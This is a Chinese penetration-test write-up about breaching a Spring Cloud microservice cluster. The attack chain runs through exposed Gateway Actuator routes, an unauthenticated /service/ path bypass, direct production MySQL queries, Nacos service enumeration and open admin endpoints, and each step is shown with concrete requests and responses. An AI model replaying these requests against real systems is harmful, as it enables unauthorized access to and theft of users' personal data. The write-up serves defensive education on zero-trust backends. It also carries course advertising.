文章总结： 某企业SpringCloud微服务集群因Gateway暴露Actuator端点导致路由信息泄露，攻击者发现路径绕过漏洞直接访问未认证的后端服务，并通过Nacos获取全部微服务实例地址，最终失陷包含敏感数据的admin-service。测试发现管理后台接口缺乏独立权限校验，可任意导出全量用户数据与系统配置。文章强调Gateway并非绝对安全边界，后端服务必须实施零信任原则。 综合评分： 95 文章分类： 渗透测试,漏洞分析,内网渗透,微服务安全,安全建设
记一次Gateway边界失效导致微服务集群失陷的渗透测试
AlbertJay AlbertJay
C4安全
2026年7月29日 08:20 江苏
在小说阅读器读本章
去阅读
CTF课程培训
扫码咨询
#
专注于漏洞挖掘、系统化从基础入门到实战漏洞挖掘，包含团队自整的挖掘注意点和案例、渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。不定期分享各种好玩的项目及好用的工具，欢迎关注。加内部圈子，文末有优惠券。
#
文章作者：AlbertJay
文章来源：https://www.freebuf.com/articles/web/491127.html
前言
在SpringCloud微服务架构下，有一种根深蒂固的安全假设：
"Gateway负责统一认证，后端服务天然安全。"
也就是说，所有外部请求都经过Gateway，由Gateway完成身份校验和权限拦截，后端微服务只需要安心处理业务逻辑。
但问题是：如果Gateway本身配置错误，或者存在一条绕过Gateway直达后端的路径，那后端那些”天然安全”的服务，就变成了一个个敞开着大门的房间。
0x01 项目背景
随着微服务架构的普及，越来越多企业采用以下技术栈构建业务系统：
Spring Cloud Gateway —— API网关，负责统一路由和认证
Nacos / Eureka —— 服务注册与发现中心
Spring Boot —— 微服务应用框架
MySQL / Redis —— 数据存储与缓存
典型架构如下：
0x02 资产发现：找到Gateway入口
拿到授权范围后，按惯例开始资产梳理。在子域名枚举和端口扫描的结果中，有三个子域名引起了我的注意：
gateway.xxx.com
api.xxx.com
service.xxx.com
其中 gateway.xxx.com 的响应头中带有明显的Spring Cloud Gateway特征：
HTTP/1.1 200
Server: Gateway
X-Application-Context: gateway:8080
Spring Cloud Gateway——目标存在微服务网关，且直接暴露在外网。
如果Gateway是整个微服务集群的”前门”，有没有什么路径可以绕过它。
0x03 Gateway路由信息泄露
Spring Cloud Gateway默认暴露了Actuator端点，其中 /actuator/gateway/routes 会返回完整的路由配置。
尝试访问：
GET /actuator/gateway/routes HTTP/1.1
Host: gateway.xxx.com
返回200，完整的路由配置一览无余：
[
{
"route_id": "user-service",
"uri": "http://user-service:8080",
"predicates": [
"Path=/api/user/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "order-service",
"uri": "http://order-service:8081",
"predicates": [
"Path=/api/order/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "file-service",
"uri": "http://file-service:8082",
"predicates": [
"Path=/api/file/**"
],
"filters": [
"StripPrefix=1"
]
},
{
"route_id": "admin-service",
"uri": "http://admin-service:8083",
"predicates": [
"Path=/api/admin/**"
],
"filters": [
"StripPrefix=1"
]
}
]
四个后端微服务的内部地址、端口和路由规则全部泄露。
拿到路由配置后，开始系统性地测试每条路径的认证情况。
正常请求：经过Gateway认证
GET /api/user/list HTTP/1.1
Host: gateway.xxx.com
HTTP/1.1 401 Unauthorized
{"message":"未授权访问，请先登录"}
正常路径需要携带Authorization Token，Gateway的认证过滤器生效了。
探测绕过路径
根据路由配置中的信息，我注意到Gateway的路由匹配规则使用了 Path=/api/** 前缀。
这意味着如果存在其他前缀的路径能直接映射到后端服务，就可能绕过Gateway的认证过滤器。
逐一测试各种路径变体：
/api/user/list → 401 (需要认证)
/v1/user/list → 404 (未匹配)
/service/user/query → ???
当尝试 /service/user/query 这个路径时：
GET /service/user/query HTTP/1.1
Host: gateway.xxx.com
HTTP/2 200 OK
Content-Type: application/json
{
"code": 200,
"data": {
"users": [
{"username":"zhangxm","email":"[email protected]","role":"USER"},
{"username":"lisi","email":"[email protected]","role":"USER"},
{"username":"admin","email":"[email protected]","role":"ADMIN"}
]
}
}
没有携带任何Token，没有经过认证过滤器，直接返回了用户数据。
根据Actuator泄露的数据库凭据，直接连接了生产数据库：
mysql -h rm-xxxxxx.mysql.rds.aliyuncs.com -u app_rw -p
Welcome to the MySQL monitor.
mysql> SHOW DATABASES;
+--------------------+
| biz_user |
| biz_order |
| biz_payment |
| biz_file |
+--------------------+
USE biz_user;
SHOW TABLES;
+---------------------+
| Tables_in_biz_user |
+---------------------+
| user_info |
| user_auth |
| user_address |
| user_bank_card |
+---------------------+
逐表查看数据结构和数据量：
SELECT COUNT(*) FROM user_info;
-- 52318条用户记录
SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;
SELECT id, real_name, phone, id_card, email FROM user_info LIMIT 5;
+------+----------+-------------+--------------------+----------------+
| id | real_name| phone | id_card | email |
+------+----------+-------------+--------------------+----------------+
| 1 | 张** | 138*******8 | 31****199001**** | [email protected] |
| 2 | 李** | 139*******1 | 32****198812**** | [email protected] |
+------+----------+-------------+--------------------+----------------+
在继续探测其他后端服务时，注意到Actuator的配置信息中暴露了一个关键组件的地址：
spring.cloud.nacos.discovery.server-addr=nacos.internal.xxx.com:8848
Nacos——阿里巴巴开源的服务注册与发现中心，整个微服务集群的”中枢”。 它知道每一个微服务的名称、地址和端口。
直接访问Nacos的开放API：
GET /nacos/v1/ns/instance/list?serviceName=user-service HTTP/1.1
Host: nacos.internal.xxx.com:8848
{
"hosts": [
{"ip": "10.*.*.11", "port": 8080, "serviceName": "user-service"},
{"ip": "10.*.*.12", "port": 8080, "serviceName": "user-service"}
]
}
继续枚举全部注册服务：
GET /nacos/v1/ns/service/list?pageNo=1&pageSize=100 HTTP/1.1
Host: nacos.internal.xxx.com:8848
返回了完整的微服务列表：
┌─────────────────────────────────────────────────┐
│ Nacos 服务注册列表 │
├───────────────┬──────────────┬──────────────────┤
│ 服务名称 │ 实例IP │ 端口 │
├───────────────┼──────────────┼──────────────────┤
│ user-service │ 10.*.*.11-12 │ 8080 │
│ order-service │ 10.*.*.21-22 │ 8081 │
│ file-service │ 10.*.*.31 │ 8082 │
│ admin-service │ 10.*.*.41 │ 8083 │
│ payment-svc │ 10.*.*.51-52 │ 8084 │
│ notify-worker │ 10.*.*.61 │ 8085 │
└───────────────┴──────────────┴──────────────────┘
最终目标指向了 admin-service——管理服务，它通常是整个微服务集群中权限最高、数据最敏感的节点。
通过绕过路径访问管理服务：
GET /service/admin/dashboard HTTP/1.1
Host: gateway.xxx.com
{
"code": 200,
"data": {
"totalUsers": 52318,
"totalOrders": 128456,
"todayRevenue": 156800.50,
"activeAdmins": 3
}
}
管理后台仪表盘数据直接返回，无需任何认证。
继续枚举管理服务的接口：
/service/admin/users 用户管理 完整用户列表，含姓名、手机号、身份证
/service/admin/orders 订单管理 全部订单详情，含金额、状态、支付信息
/service/admin/export/users 用户数据导出 支持批量导出全量用户数据
/service/admin/config 系统配置 各组件连接配置与凭据
管理服务的全部功能——用户管理、订单管理、数据导出、系统配置——均未做独立的权限校验，对任何到达的请求直接返回数据。
内部CTF课程上线，总课程30+小时，优惠折扣中！
帮会简介
《安全渗透感知》是FreeBuf知识大陆的重量级帮会，帮会致力于漏洞POC/EXP、红队攻防实战，是系统化从基础入门到实战漏洞挖掘的教程社区，包含团队自整的挖掘注意点和案例，还包含分享的渗透经验、SRC漏洞案例、代码审计、挖洞思路等高价值资源。
内容框架（持续新增中）
目前已有「730+」小伙伴加入了帮会
加入方式
目前帮会成员730+人，永久会员优惠后只需69.9元。
随着人数的增加及资源的积累，之后永久会员将涨价至99元。
有意向的师傅们可以扫码加入我们，共同进步。
如何加入帮会？→安卓/苹果用户可扫码使用优惠券↓↓
→ PC端用户可复制此链接到浏览器↓↓
https://wiki.freebuf.com/societyDetail?society_id=184
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：C4安全 AlbertJay AlbertJay《记一次Gateway边界失效导致微服务集群失陷的渗透测试》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论